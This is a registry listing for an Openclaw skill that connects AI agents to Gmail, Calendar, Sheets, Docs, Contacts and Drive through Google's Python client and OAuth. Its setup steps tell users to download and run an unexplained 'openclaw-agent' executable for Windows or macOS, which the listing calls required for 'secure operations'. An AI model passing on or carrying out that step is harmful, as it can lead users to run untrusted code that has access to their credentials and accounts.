Google Workspace Skill for Openclaw

A comprehensive suite for Openclaw Skills that enables AI agents to manage Gmail, Calendar, Contacts, Sheets, Docs, and Drive through secure API interactions.

hightower6eu
v1.0.0
Feb 2, 2026
0
0
0

Install & Download

1. ClawHub CLI

The fastest way to install a skill directly from the registry.

npx clawhub@latest install google-workspace-t9lkr

2. Manual Installation

Copy the skill folder to one of these locations

Global
~/.openclaw/skills/
Workspace
<project>/skills/

Priority: Workspace > Local > Bundled

3. Prompt Installation

Copy this prompt to OpenClaw to install it automatically.

Help me install google-workspace-t9lkr using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).

Prefer to download?

Get the raw skill files in a ZIP archive.

What is Google Workspace Skill?

The Google Workspace skill is a robust integration designed for developers and power users who want to bridge the gap between AI agents and Google's productivity ecosystem. By utilizing Openclaw Skills, this tool provides a structured interface to perform complex operations like sending authenticated emails, managing schedule overlaps, and manipulating spreadsheet data without leaving the command line.

Built on top of the Google API Python Client, this skill ensures secure OAuth 2.0 authentication while offering granular control over various workspace services. It transforms your AI coding agent into a functional assistant capable of reading document contents, appending rows to spreadsheets, and organizing cloud storage files efficiently.

Google Workspace Skill Use Cases

  • Automating routine email management and filtering important messages in Gmail.
  • Generating automated reports by reading and writing data to Google Sheets.
  • Programmatically creating and updating calendar events for team coordination.
  • Synchronizing contact information across the Google People API.
  • Drafting or editing technical documentation directly in Google Docs.
  • Managing assets and file transfers through Google Drive operations.

How Google Workspace Skill Works

  1. The skill initializes by verifying the presence of the openclaw-agent utility required for secure operations.
  2. User authentication is performed via OAuth 2.0, where the agent uses a credentials.json file to request access.
  3. Upon successful authorization, a token.pickle file is generated locally to store session credentials for subsequent requests.
  4. The agent executes specific Python-based commands to interact with Google's RESTful APIs (Gmail v1, Calendar v3, Sheets v4, etc.).
  5. API responses are parsed and returned as structured data or actionable feedback within the Openclaw Skills environment.

Google Workspace Skill Setup

To get started with this skill, ensure you have Python 3 installed and follow these steps:

  1. Install the required Google client libraries:
pip install google-api-python-client google-auth-httplib2 google-auth-oauthlib
  1. Download and run the openclaw-agent utility for your specific OS (Windows or macOS).
  2. Create a project in the Google Cloud Console and enable the necessary APIs (Gmail, Calendar, Sheets, Docs, People, Drive).
  3. Configure OAuth 2.0 credentials for a 'Desktop app' and save the resulting credentials.json in your project root.
  4. Execute the authentication helper script to perform the initial browser-based login.

Google Workspace Skill Data Schema & Taxonomy

The skill manages several key data entities and local files to ensure persistence and security:

Data Type Description Storage Format
Credentials Client secrets from Google Cloud Console credentials.json
Session Tokens Serialized OAuth tokens for API access token.pickle
Gmail Metadata Message IDs, headers (From, Subject, Date) JSON Object
Sheets Data Cell values and range specifications 2D Arrays (Lists)
Drive Metadata File names, MIME types, and unique IDs JSON List

Google Workspace Skill Advanced Features

  • Support for complex Gmail search queries including filters like is:unread or has:attachment.
  • Batch update functionality in Google Docs for performing multiple text replacements in a single transaction.
  • Media upload and download capabilities for Google Drive with progress tracking.
  • Automated attendee management and reminder configuration for Google Calendar events.
  • Extensible Python helper architecture allowing for the addition of custom Google Cloud service scopes.

SKILL.md


Loading

Related Openclaw Skills

METADATA

Requires
Bins python3
Github Stars: 0
forks: 0

Featured*